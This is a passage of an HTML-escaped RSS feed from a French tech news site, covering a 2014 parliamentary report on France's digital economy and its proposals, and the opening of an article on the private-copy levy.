num&amp;eacute;rique&lt;/em&gt; &amp;raquo; de la France et favoriser ainsi le d&amp;eacute;veloppement &amp;eacute;conomique de notre pays. Petit tour d&amp;rsquo;horizon du rapport pr&amp;eacute;sent&amp;eacute; aujourd'hui par les deux parlementaires.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;span lang="FR"&gt; &lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146752.png" rel="group_fancy"&gt;&lt;img style="display: block; margin-left: auto; margin-right: auto;" src="http://static.pcinpact.com/images/bd/news/medium-146752.png" alt="commission" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;Corinne Erhel et Laure de La Raudi&amp;egrave;re, respectivement d&amp;eacute;put&amp;eacute;es socialiste et UMP, ont pr&amp;eacute;sent&amp;eacute; ce matin devant la Commission des Affaires &amp;eacute;conomiques de l&amp;rsquo;Assembl&amp;eacute;e nationale les conclusions de la mission d&amp;rsquo;information qui leur avait &amp;eacute;t&amp;eacute; confi&amp;eacute;e en mars 2013 &amp;agrave; propos du d&amp;eacute;veloppement de l&amp;rsquo;&amp;eacute;conomie num&amp;eacute;rique (&lt;a href="Consulter le rapport de la mission d&amp;rsquo;information sur le d&amp;eacute;veloppement de l&amp;rsquo;&amp;eacute;conomie num&amp;eacute;rique" target="_blank"&gt;PDF&lt;/a&gt;). Leur objectif&amp;nbsp;? Esquisser des pistes afin de &amp;laquo;&lt;em&gt;&amp;nbsp;faire en sorte que la France tire parti des transformations num&amp;eacute;riques &amp;agrave; venir&amp;nbsp;&lt;/em&gt;&amp;raquo;. Car l&amp;rsquo;&amp;eacute;tat des lieux dress&amp;eacute; par ces parlementaires sp&amp;eacute;cialistes des dossiers &amp;laquo;&amp;nbsp;num&amp;eacute;riques&amp;nbsp;&amp;raquo; se veut relativement n&amp;eacute;gatif : &amp;laquo;&amp;nbsp;&lt;em&gt;l&amp;rsquo;Europe est en retard&amp;nbsp;&lt;/em&gt;&amp;raquo; &amp;eacute;crivent-elles, s&amp;rsquo;appuyant par exemple sur le fait que &amp;laquo;&amp;nbsp;&lt;em&gt;83 % de la capitalisation boursi&amp;egrave;re des entreprises Internet concerne des firmes am&amp;eacute;ricaines et seulement un peu plus de 2 % des entreprises europ&amp;eacute;ennes&lt;/em&gt;&amp;nbsp;&amp;raquo;. &lt;/span&gt;&lt;/p&gt;
+&lt;h3&gt;&lt;span lang="FR"&gt;Des &amp;laquo;&amp;nbsp;lacunes&amp;nbsp;&amp;raquo; et de &amp;laquo; pr&amp;eacute;cieux&amp;nbsp;atouts&amp;nbsp;&amp;raquo; pour la France&lt;/span&gt;&lt;/h3&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;Les deux parlementaires poursuivent en expliquant que &amp;laquo;&amp;nbsp;&lt;em&gt;la France p&amp;acirc;tit &amp;eacute;galement d&amp;rsquo;importantes lacunes&lt;/em&gt;&amp;nbsp;&amp;raquo;. Lesquelles&amp;nbsp;? Selon Corinne Erhel et Laure de La Raudi&amp;egrave;re, notre pays souffre surtout d&amp;rsquo;une &amp;laquo;&amp;nbsp;&lt;em&gt;certaine frilosit&amp;eacute; &amp;agrave; l&amp;rsquo;&amp;eacute;gard de la disruption, de la prise de risque et de l&amp;rsquo;innovation radicale&lt;/em&gt;&amp;nbsp;&amp;raquo;. Ce frein est donc &amp;laquo;&amp;nbsp;&lt;em&gt;culturel&lt;/em&gt;&amp;nbsp;&amp;raquo;, et m&amp;ecirc;me &amp;laquo;&amp;nbsp;&lt;em&gt;plut&amp;ocirc;t r&amp;eacute;cent&lt;/em&gt;&amp;nbsp;&amp;raquo; d&amp;rsquo;apr&amp;egrave;s les deux d&amp;eacute;put&amp;eacute;es. Elles regrettent d&amp;rsquo;ailleurs que l&amp;rsquo;&amp;Eacute;tat ait &amp;laquo;&lt;em&gt;&amp;nbsp;tendance &amp;agrave; consid&amp;eacute;rer le num&amp;eacute;rique comme une fili&amp;egrave;re autonome, oubliant ainsi que le num&amp;eacute;rique irrigue tous les secteurs de l&amp;rsquo;&amp;eacute;conomie, bouleversant tous les codes et toutes nos habitudes&lt;/em&gt;&amp;nbsp;&amp;raquo;. Aussi, les &amp;eacute;lues affirment que nos &amp;laquo;&amp;nbsp;&lt;em&gt;&amp;eacute;lites souffrent d&amp;rsquo;une m&amp;eacute;connaissance globale des enjeux du num&amp;eacute;rique et des nouvelles strat&amp;eacute;gies de cr&amp;eacute;ation de valeur, et peinent &amp;agrave; identifier les r&amp;eacute;ponses adapt&amp;eacute;es, alors que nos politiques publiques soutiennent parfois encore des industries en d&amp;eacute;clin&lt;/em&gt;&amp;nbsp;&amp;raquo;.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;span lang="FR"&gt; &lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146751.png" rel="group_fancy"&gt;&lt;img style="display: block; margin-left: auto; margin-right: auto;" src="http://static.pcinpact.com/images/bd/news/mini-146751.png" alt="erhel " /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;Mais tout n&amp;rsquo;est pas noir pour autant... &amp;laquo;&amp;nbsp;&lt;em&gt;La France dispose &amp;eacute;galement de pr&amp;eacute;cieux atouts&lt;/em&gt;&amp;nbsp;&amp;raquo; rassurent les parlementaires, en r&amp;eacute;f&amp;eacute;rence notamment aux infrastructures hexagonales, &amp;agrave; son &amp;laquo; &lt;em&gt;vivier de jeunes entrepreneurs talentueux&lt;/em&gt;&amp;nbsp;&amp;raquo;, et aux start-ups n&amp;eacute;es sur notre territoire ces derni&amp;egrave;res ann&amp;eacute;es&amp;nbsp;: Dailymotion, Deezer, Parrot, Priceminister, Vente-privee.com, etc. &lt;/span&gt;&lt;/p&gt;
+&lt;h3&gt;&lt;span lang="FR"&gt;&amp;laquo;&amp;nbsp;B&amp;acirc;tir un nouveau projet de soci&amp;eacute;t&amp;eacute;&amp;nbsp;&amp;raquo; gr&amp;acirc;ce au num&amp;eacute;rique&lt;/span&gt;&lt;/h3&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;Le rapport de Corinne Erhel et Laure de La Raudi&amp;egrave;re ambitionne n&amp;eacute;anmoins de &amp;laquo;&amp;nbsp;&lt;em&gt;r&amp;eacute;inventer la politique &amp;eacute;conomique et d&amp;rsquo;&amp;eacute;lever le d&amp;eacute;bat autour du num&amp;eacute;rique au niveau national, afin de f&amp;eacute;d&amp;eacute;rer l&amp;rsquo;ensemble de la population autour de la conversion num&amp;eacute;rique de la soci&amp;eacute;t&amp;eacute;&lt;/em&gt;&amp;nbsp;&amp;raquo;. Les d&amp;eacute;put&amp;eacute;es estiment que &amp;laquo;&lt;em&gt;&amp;nbsp;les citoyens doivent sentir que le num&amp;eacute;rique est &amp;agrave; leur service, et constitue une chance d&amp;rsquo;am&amp;eacute;liorer leur quotidien. Il ne s&amp;rsquo;agit pas de faire de la France un pays de geeks et d&amp;rsquo;ing&amp;eacute;nieurs informaticiens mais bien de b&amp;acirc;tir un nouveau projet de soci&amp;eacute;t&amp;eacute;, fond&amp;eacute; sur le d&amp;eacute;sir de progr&amp;egrave;s et d&amp;rsquo;innovation&lt;/em&gt;&amp;nbsp;&amp;raquo;.&lt;/span&gt;&lt;/p&gt;
+&lt;h3&gt;&lt;span lang="FR"&gt;Agir sur la formation et la &amp;laquo; prospection &amp;raquo;&lt;/span&gt;&lt;/h3&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;Pour cela, les parlementaires misent sur deux principaux leviers. Le premier&amp;nbsp;: la formation. &amp;laquo;&lt;em&gt;&amp;nbsp;Il faut former au num&amp;eacute;rique, d&amp;rsquo;une part pour apprendre &amp;agrave; chacun &amp;agrave; se mouvoir dans un monde nouveau, d&amp;rsquo;autre part afin de pr&amp;eacute;parer aux m&amp;eacute;tiers de demain, alors m&amp;ecirc;me que nombre d&amp;rsquo;entreprises peinent aujourd&amp;rsquo;hui &amp;agrave; recruter des d&amp;eacute;veloppeurs pour poursuivre leur croissance&lt;/em&gt;&amp;nbsp;&amp;raquo; expliquent-elles. Erhel et de La Raudi&amp;egrave;re pr&amp;eacute;conisent ainsi &amp;laquo;&amp;nbsp;&lt;em&gt;de mettre en place des sessions d&amp;rsquo;&amp;eacute;veil au codage d&amp;egrave;s l&amp;rsquo;&amp;eacute;cole primaire, et de rendre obligatoire l&amp;rsquo;enseignement de l&amp;rsquo;informatique dans le cycle secondaire&amp;nbsp;&lt;/em&gt;&amp;raquo;, c&amp;rsquo;est-&amp;agrave;-dire au coll&amp;egrave;ge et au lyc&amp;eacute;e. S&amp;rsquo;agissant de l&amp;rsquo;enseignement sup&amp;eacute;rieur, les deux d&amp;eacute;put&amp;eacute;es estiment qu&amp;rsquo;il faut &amp;laquo; &lt;em&gt;faciliter&amp;nbsp;la cr&amp;eacute;ation de nouveaux dipl&amp;ocirc;mes&lt;/em&gt;&amp;nbsp;&amp;raquo;, par exemple afin de former massivement des analystes de donn&amp;eacute;es (data scientists).&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;span lang="FR"&gt; &lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146753.png" rel="group_fancy"&gt;&lt;img style="display: block; margin-left: auto; margin-right: auto;" src="http://static.pcinpact.com/images/bd/news/mini-146753.png" alt="raudi&amp;egrave;re" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;Le second levier&amp;nbsp;est d&amp;rsquo;ordre &amp;laquo;&amp;nbsp;&lt;em&gt;prospectif&amp;nbsp;&lt;/em&gt;&amp;raquo;. D&amp;rsquo;apr&amp;egrave;s les parlementaires, &amp;laquo;&amp;nbsp;&lt;em&gt;il faut poursuivre le mouvement de simplification du droit afin de faciliter la vie des entreprises, de la cr&amp;eacute;ation &amp;agrave; la croissance internationale. Plus pr&amp;eacute;cis&amp;eacute;ment, il est indispensable d&amp;rsquo;assurer le financement des entreprises du num&amp;eacute;rique, en renouvelant les outils d&amp;rsquo;intervention publique, en renfor&amp;ccedil;ant l&amp;rsquo;industrie du capital-risque par exemple par la cr&amp;eacute;ation de fonds paneurop&amp;eacute;ens, et en construisant une Bourse europ&amp;eacute;enne sp&amp;eacute;cialis&amp;eacute;e sur les nouvelles technologies &amp;ndash; un Nasdaq europ&amp;eacute;en. Enfin, les fili&amp;egrave;res les plus prometteuses &amp;ndash; &lt;span data-affiliable="true" data-affkey="objets connect&amp;eacute;s"&gt;objets connect&amp;eacute;s&lt;/span&gt;, cloud computing, big data &amp;ndash; doivent &amp;ecirc;tre accompagn&amp;eacute;es&lt;/em&gt;&amp;nbsp;&amp;raquo; retiennent-elles.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;L&amp;rsquo;&amp;Eacute;tat, les collectivit&amp;eacute;s territoriales et les autres &amp;eacute;tablissements publics sont d&amp;rsquo;ailleurs invit&amp;eacute;s &amp;agrave; &amp;laquo;&amp;nbsp;&lt;em&gt;s&amp;rsquo;emparer de quelques dossiers symboliques pour montrer la voie&lt;/em&gt;&amp;nbsp;&amp;raquo;, par exemple&amp;nbsp;en consacrant le principe d&amp;rsquo;ouverture par d&amp;eacute;faut des donn&amp;eacute;es publiques (Open Data).&lt;/span&gt;&lt;/p&gt;
+&lt;h3&gt;&lt;span lang="FR"&gt;Un large panel de propositions&lt;/span&gt;&lt;/h3&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;&amp;laquo;&amp;nbsp;&lt;em&gt;De l&amp;rsquo;audace, encore de l&amp;rsquo;audace, toujours de l&amp;rsquo;audace...&lt;/em&gt;&amp;nbsp;&amp;raquo; Tel est le titre de la seconde partie du rapport de Corinne Erhel et Laure de La Raudi&amp;egrave;re, qui, apr&amp;egrave;s avoir dress&amp;eacute; un &amp;eacute;tat des lieux, s&amp;rsquo;emploie &amp;agrave; formuler des propositions concr&amp;egrave;tes (dont certaines avaient d&amp;eacute;j&amp;agrave; &amp;eacute;t&amp;eacute; pr&amp;eacute;sent&amp;eacute;es par le pass&amp;eacute;). Au final, les deux d&amp;eacute;put&amp;eacute;es expliquent avoir organis&amp;eacute; &amp;laquo;&amp;nbsp;&lt;em&gt;quelques pistes&lt;/em&gt;&amp;nbsp;&amp;raquo; autour de huit axes d&amp;rsquo;action cens&amp;eacute;s permettre &amp;laquo;&lt;em&gt;&amp;nbsp;d&amp;rsquo;enclencher la conversion num&amp;eacute;rique de notre pays&lt;/em&gt;&amp;nbsp;&amp;raquo;.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;strong&gt;&lt;span lang="FR"&gt;&amp;laquo;&amp;nbsp;Former les acteurs de demain&amp;nbsp;&amp;raquo;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;&amp;Eacute;veiller les &amp;eacute;l&amp;egrave;ves du primaire au codage, sur le mod&amp;egrave;le de l&amp;rsquo;&amp;eacute;veil au dessin, &amp;agrave; la musique et aux langues &amp;eacute;trang&amp;egrave;res.&lt;/li&gt;
+&lt;li&gt;Rendre obligatoire l&amp;rsquo;enseignement de l&amp;rsquo;informatique d&amp;egrave;s le coll&amp;egrave;ge, puis au lyc&amp;eacute;e&lt;/li&gt;
+&lt;li&gt;Cr&amp;eacute;er un CAPES et une Agr&amp;eacute;gation d&amp;rsquo;informatique.&lt;/li&gt;
+&lt;li&gt;Former des cohortes de data scientists.&lt;/li&gt;
+&lt;li&gt;Valoriser les licences professionnelles et revaloriser le doctorat.&lt;/li&gt;
+&lt;li&gt;Inciter les universit&amp;eacute;s &amp;agrave; r&amp;eacute;server 10 % des bourses attribu&amp;eacute;es dans le cadre des contrats doctoraux &amp;agrave; des sujets de recherche relatifs au num&amp;eacute;rique.&lt;/li&gt;
+&lt;li&gt;&amp;Eacute;largir le champ des activit&amp;eacute;s reconnues par la formation professionnelle aux supports num&amp;eacute;riques : MOOC, e-learning etc.&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p&gt;&lt;strong&gt;&lt;span lang="FR"&gt;&amp;laquo;&amp;nbsp;&lt;em&gt;Mettre l&amp;rsquo;action publique &amp;agrave; l&amp;rsquo;heure du 2.0&lt;/em&gt;&amp;nbsp;&amp;raquo;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Fournir un effort particulier &amp;agrave; destination de la num&amp;eacute;risation des administrations territoriales, d&amp;eacute;centralis&amp;eacute;es ou d&amp;eacute;concentr&amp;eacute;es. Il est ici question de d&amp;eacute;mat&amp;eacute;rialisation des pi&amp;egrave;ces justificatives, des bulletins de paie des fonctionnaires, plus des mesures symboliques (cr&amp;eacute;ation d&amp;rsquo;un dossier scolaire et universitaire &amp;eacute;lectronique pour chaque &amp;eacute;l&amp;egrave;ve de lyc&amp;eacute;e et &amp;eacute;tudiant notamment).&lt;/li&gt;
+&lt;li&gt;Pour ce faire, les deux d&amp;eacute;put&amp;eacute;es recommandent l&amp;rsquo;&amp;eacute;laboration d&amp;rsquo;une &amp;laquo;&amp;nbsp;&lt;em&gt;feuille de route purement technologique (&amp;eacute;quipement informatique)&amp;nbsp;&lt;/em&gt;&amp;raquo;, compl&amp;eacute;mentaire &amp;agrave; la feuille de route gouvernementale d&amp;eacute;di&amp;eacute;e au num&amp;eacute;rique.&lt;/li&gt;
+&lt;li&gt;Consacrer le principe d&amp;rsquo;ouverture par d&amp;eacute;faut des donn&amp;eacute;es publiques dans le cadre de la politique d&amp;rsquo;Open data des administrations d&amp;rsquo;&amp;Eacute;tat et territoriales.&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p&gt;&lt;strong&gt;&lt;span lang="FR"&gt;&amp;laquo;&amp;nbsp;&lt;em&gt;Moderniser le cadre juridique&lt;/em&gt;&amp;nbsp;&amp;raquo; &lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Contre l&amp;rsquo;optimisation fiscale, il est propos&amp;eacute; de faire de la France &amp;laquo;&amp;nbsp;&lt;em&gt;le pays moteur de la refonte du cadre fiscal international (via l&amp;rsquo;OCDE) en promouvant les pistes de r&amp;eacute;flexions d&amp;eacute;j&amp;agrave; envisag&amp;eacute;es dans le cadre national&amp;nbsp;&lt;/em&gt;&amp;raquo;, en l&amp;rsquo;occurrence au travers de l'avis du &lt;a href="http://www.cnnumerique.fr/fiscalite/" target="_blank"&gt;Conseil national du num&amp;eacute;rique&lt;/a&gt;&amp;nbsp;ou du rapport Collin et Colin (&lt;a href="http://www.nextinpact.com/news/76876-refiscaliser-en-france-geants-net-via-donnees-personnelles.htm" target="_blank"&gt;fiscalisation des donn&amp;eacute;es personnelles&lt;/a&gt;).&amp;nbsp;&lt;/li&gt;
+&lt;li&gt;Suite aux r&amp;eacute;v&amp;eacute;lations d&amp;rsquo;&lt;span data-affiliable="true" data-affkey="Edward Snowden"&gt;Edward Snowden&lt;/span&gt;, Erhel et de la Raudi&amp;egrave;re recommandent d&amp;rsquo;encourager l&amp;rsquo;adoption d&amp;rsquo;une l&amp;eacute;gislation europ&amp;eacute;enne des donn&amp;eacute;es garantissant premi&amp;egrave;rement &amp;laquo;&amp;nbsp;&lt;em&gt;le droit &amp;agrave; la portabilit&amp;eacute;, c&amp;rsquo;est-&amp;agrave;-dire la possibilit&amp;eacute; de g&amp;eacute;rer soi-&lt;/em&gt;&lt;em&gt;m&amp;ecirc;me ses donn&amp;eacute;es personnelles, de les porter d&amp;rsquo;un syst&amp;egrave;me &amp;agrave; un autre, de les partager entre plusieurs syst&amp;egrave;mes et de les r&amp;eacute;cup&amp;eacute;rer&amp;nbsp;&lt;/em&gt;&amp;raquo;, deuxi&amp;egrave;mement, &amp;laquo;&amp;nbsp;&lt;em&gt;un &amp;eacute;quilibre entre la protection de la vie priv&amp;eacute;e et le d&amp;eacute;veloppement de l&amp;rsquo;innovation&lt;/em&gt;&amp;nbsp;&amp;raquo;, et enfin &amp;laquo;&lt;em&gt;&amp;nbsp;un droit &amp;agrave; l&amp;rsquo;exp&amp;eacute;rimentation pour le num&amp;eacute;rique&lt;/em&gt;&amp;nbsp;&amp;raquo;.&lt;/li&gt;
+&lt;li&gt;&amp;Eacute;laborer un guide de sensibilisation aux enjeux du stockage des donn&amp;eacute;es &amp;agrave; destination des particuliers.&lt;/li&gt;
+&lt;li&gt;Mettre en place un &amp;laquo;&amp;nbsp;principe d&amp;rsquo;innovation&amp;nbsp;&amp;raquo;, pendant du principe de pr&amp;eacute;caution pour le num&amp;eacute;rique.&lt;/li&gt;
+&lt;li&gt;Inscrire dans la loi le principe de neutralit&amp;eacute; (ainsi que l&amp;rsquo;ensemble des autres propositions du &lt;a href="http://www.assemblee-nationale.fr/13/rap-info/i3336.asp#P718_176850" target="_blank"&gt;rapport pr&amp;eacute;sent&amp;eacute; &amp;agrave; ce sujet en 2011&lt;/a&gt;&amp;nbsp;par Corinne Erhel et Laure de La Raudi&amp;egrave;re)&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p&gt;&lt;strong&gt;&lt;span lang="FR"&gt;&amp;laquo;&amp;nbsp;&lt;em&gt;Cr&amp;eacute;er un environnement propice &amp;agrave; l&amp;rsquo;&amp;eacute;conomie num&amp;eacute;rique&lt;/em&gt;&amp;nbsp;&amp;raquo;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;&amp;Eacute;valuer les incubateurs et acc&amp;eacute;l&amp;eacute;rateurs b&amp;eacute;n&amp;eacute;ficiant de cr&amp;eacute;dits publics.&lt;/li&gt;
+&lt;li&gt;Ajouter dans les crit&amp;egrave;res d&amp;rsquo;&amp;eacute;valuation des p&amp;ocirc;les de comp&amp;eacute;titivit&amp;eacute; un crit&amp;egrave;re relatif &amp;agrave; l&amp;rsquo;identification des p&amp;eacute;pites du num&amp;eacute;rique.&lt;/li&gt;
+&lt;li&gt;Inciter &amp;agrave; ce que les conseils d&amp;rsquo;administration des entreprises du CAC 40 comprennent un membre ayant fond&amp;eacute; une start-up innovante. &amp;Agrave; noter qu&amp;rsquo;un &lt;a href="http://www.assemblee-nationale.fr/14/amendements/1891/AN/68.asp" target="_blank"&gt;amendement&lt;/a&gt;&amp;nbsp;au projet de loi relatif &amp;agrave; l'&amp;eacute;conomie sociale et solidaire a &amp;eacute;t&amp;eacute; d&amp;eacute;pos&amp;eacute; en ce sens par Laure de la Raudi&amp;egrave;re il y a quelques jours. Il devrait &amp;ecirc;tre &amp;eacute;tudi&amp;eacute; par les d&amp;eacute;put&amp;eacute;s d&amp;rsquo;ici mardi prochain.&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;&lt;strong&gt;&amp;laquo;&amp;nbsp;&lt;em&gt;Assurer le financement de l&amp;rsquo;&amp;eacute;conomie num&amp;eacute;rique&lt;/em&gt;&amp;nbsp;&amp;raquo;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Encourager la cr&amp;eacute;ation d&amp;rsquo;un Nasdaq europ&amp;eacute;en, afin de permettre aux start-ups de lever plus facilement des fonds.&lt;/li&gt;
+&lt;li&gt;Poursuivre l&amp;rsquo;effort au niveau europ&amp;eacute;en pour cr&amp;eacute;er des fonds paneurop&amp;eacute;ens.&lt;/li&gt;
+&lt;li&gt;Encourager l&amp;rsquo;&amp;Eacute;tat &amp;agrave; investir dans des fonds d&amp;rsquo;investissement priv&amp;eacute;s, afin d&amp;rsquo;acc&amp;eacute;l&amp;eacute;rer l&amp;rsquo;innovation et de dynamiser l&amp;rsquo;industrie du capital-risque - et &amp;agrave; condition que l&amp;rsquo;&amp;Eacute;tat si&amp;egrave;ge au conseil d&amp;rsquo;administration des fonds concern&amp;eacute;s.&lt;/li&gt;
+&lt;li&gt;Renforcer la place de &amp;laquo;&amp;nbsp;l&amp;rsquo;innovation de rupture&amp;nbsp;&amp;raquo; dans les crit&amp;egrave;res d&amp;rsquo;&amp;eacute;valuation et d&amp;rsquo;attribution des march&amp;eacute;s publics.&lt;/li&gt;
+&lt;li&gt;Confier &amp;agrave; la Cour des comptes une mission d&amp;rsquo;&amp;eacute;valuation des nombreux dispositifs de soutien public au num&amp;eacute;rique mis en &amp;oelig;uvre par l&amp;rsquo;&amp;Eacute;tat et les collectivit&amp;eacute;s territoriales.&lt;/li&gt;
+&lt;li&gt;Poursuivre les actions de s&amp;eacute;curisation des dispositifs d&amp;rsquo;incitation fiscale en faveur de l&amp;rsquo;innovation et de la recherche et d&amp;eacute;veloppement et assurer la stabilisation fiscale.&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p&gt;&lt;strong&gt;&lt;span lang="FR"&gt;&amp;laquo;&amp;nbsp;&lt;em&gt;Consolider les fili&amp;egrave;res d&amp;rsquo;avenir et cr&amp;eacute;er les champions de demain&lt;/em&gt;&amp;nbsp;&amp;raquo;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;R&amp;eacute;server une part de la commande publique &amp;laquo; num&amp;eacute;rique &amp;raquo; au d&amp;eacute;veloppement de nouvelles applications dans le domaine de l&amp;rsquo;internet des objets.&lt;/li&gt;
+&lt;li&gt;&amp;Eacute;laborer un &amp;laquo;&amp;nbsp;guide de sensibilisation aux enjeux du stockage des donn&amp;eacute;es&amp;nbsp;&amp;raquo; &amp;agrave; destination des acteurs &amp;eacute;conomiques (en particulier les PME et les TPE) ainsi que des collectivit&amp;eacute;s territoriales.&lt;/li&gt;
+&lt;li&gt;Faire de la cybers&amp;eacute;curit&amp;eacute; un enjeu majeur du d&amp;eacute;veloppement &amp;eacute;conomique des entreprises.&lt;/li&gt;
+&lt;li&gt;Poursuivre le d&amp;eacute;veloppement d&amp;rsquo;entreprises fran&amp;ccedil;aises et europ&amp;eacute;ennes sp&amp;eacute;cialis&amp;eacute;es dans le cloud et le fog computing.&lt;/li&gt;
+&lt;li&gt;R&amp;eacute;diger les cahiers des charges de telle sorte que 30 % du montant des projets Cloud Computing confi&amp;eacute;s par le secteur public aux grands acteurs de l&amp;rsquo;informatique soient sous-trait&amp;eacute;s &amp;agrave; des TPE et des PME.&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p&gt;&lt;strong&gt;&lt;span lang="FR"&gt;&amp;laquo;&amp;nbsp;&lt;em&gt;Renforcer l&amp;rsquo;action internationale&lt;/em&gt;&amp;nbsp;&amp;raquo;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Mettre en place un &amp;laquo; visa d&amp;eacute;veloppeurs &amp;raquo;&lt;/li&gt;
+&lt;li&gt;Relancer le processus europ&amp;eacute;en de construction d&amp;rsquo;une Europe num&amp;eacute;rique, en clarifiant les objectifs et les chantiers ouverts.&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p&gt;&lt;strong&gt;&lt;span lang="FR"&gt;&amp;laquo;&amp;nbsp;&lt;em&gt;Diffuser une culture num&amp;eacute;rique&lt;/em&gt;&amp;nbsp;&amp;raquo;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Pour les d&amp;eacute;put&amp;eacute;es, il&amp;nbsp;est aujourd&amp;rsquo;hui &amp;laquo;&amp;nbsp;&lt;em&gt;primordial de mieux et plus diffuser la culture du num&amp;eacute;rique et le "changement de monde" qu&amp;rsquo;elle entra&amp;icirc;ne&lt;/em&gt;&amp;nbsp;&amp;raquo;. Corinne Erhel et Laure de La Raudi&amp;egrave;re ont toutefois eu du mal &amp;agrave; &amp;eacute;mettre des propositions concr&amp;egrave;tes &amp;agrave; ce sujet, m&amp;ecirc;me si elles expliquent que &amp;laquo;&lt;em&gt;&amp;nbsp;plusieurs canaux essentiels &amp;agrave; la diffusion d&amp;rsquo;une culture num&amp;eacute;rique doivent &amp;ecirc;tre mobilis&amp;eacute;s : l&amp;rsquo;&amp;eacute;cole, bien s&amp;ucirc;r, le discours politique, &amp;eacute;videmment, et les m&amp;eacute;dias, trop frileux &amp;agrave; certaines exceptions pr&amp;egrave;s&lt;/em&gt;&amp;nbsp;&amp;raquo;.&lt;/li&gt;
+&lt;/ul&gt;</description><pubDate>Wed, 14 May 2014 15:40:00 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87518.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87528-en-france-redevance-copie-privee-aspire-265-par-habitant-un-record.htm</guid><link>http://www.nextinpact.com/news/87528-en-france-redevance-copie-privee-aspire-265-par-habitant-un-record.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>marc@nextinpact.com</author><category>Loi</category><title>En 2012, la redevance copie privée a aspiré 2,65 € par Français. Un record.</title><description>&lt;p class="actu_chapeau"&gt;2014 sera-t-elle l&amp;rsquo;ann&amp;eacute;e de la r&amp;eacute;forme de la copie priv&amp;eacute;e&amp;nbsp;? C&amp;rsquo;est en tout cas ce que souhaite le SFIB (Syndicat de l'industrie des technologies de l'information) qui vient de mettre en ligne une vid&amp;eacute;o pour d&amp;eacute;noncer les modalit&amp;eacute;s de cette ponction. Au m&amp;ecirc;me moment, on apprend que la France est encore dans le peloton de t&amp;ecirc;te face &amp;agrave; de nombreux pays, avec 2,65 euros&amp;nbsp;pr&amp;eacute;lev&amp;eacute;s sur chaque habitant.&lt;/p&gt;&lt;p&gt;Selon&amp;nbsp;&lt;a href="http://static.pcinpact.com/medias/wipo_pub_1037_20131.pdf" target="_blank"&gt;le dernier rapport WIPO-Thuiskopie&lt;/a&gt; (la soci&amp;eacute;t&amp;eacute; de gestion pour la copie priv&amp;eacute;e aux Pays-Bas), la France remporte la palme d&amp;rsquo;or en mati&amp;egrave;re de pr&amp;eacute;l&amp;egrave;vement pour la copie priv&amp;eacute;e. Selon cette &amp;eacute;tude r&amp;eacute;alis&amp;eacute;e avec l'Organisation Mondiale de la Propri&amp;eacute;t&amp;eacute; Intellectuelle (OMPI ou WIPO, en anglais), les ayants droit fran&amp;ccedil;ais pr&amp;eacute;l&amp;egrave;vent 2,65 euros par habitant. C&amp;rsquo;est le plus haut niveau europ&amp;eacute;en. Et pour cause : les 65,6 millions de Fran&amp;ccedil;ais ont revers&amp;eacute; en 2012 en effet pr&amp;egrave;s de &lt;a href="http://www.nextinpact.com/news/80831-174-millions-d-euros-copie-privee-collectes-en-2012.htm" target="_blank"&gt;174 millions d&amp;rsquo;euros &lt;/a&gt;&amp;agrave; Copie France, la soci&amp;eacute;t&amp;eacute; charg&amp;eacute;e de la collecte de la copie priv&amp;eacute;e.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146737.jpeg" rel="group_fancy"&gt;&lt;img style="display: block; margin-left: auto; margin-right: auto;" src="http://static.pcinpact.com/images/bd/news/medium-146737.jpeg" alt="copie priv&amp;eacute;e" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
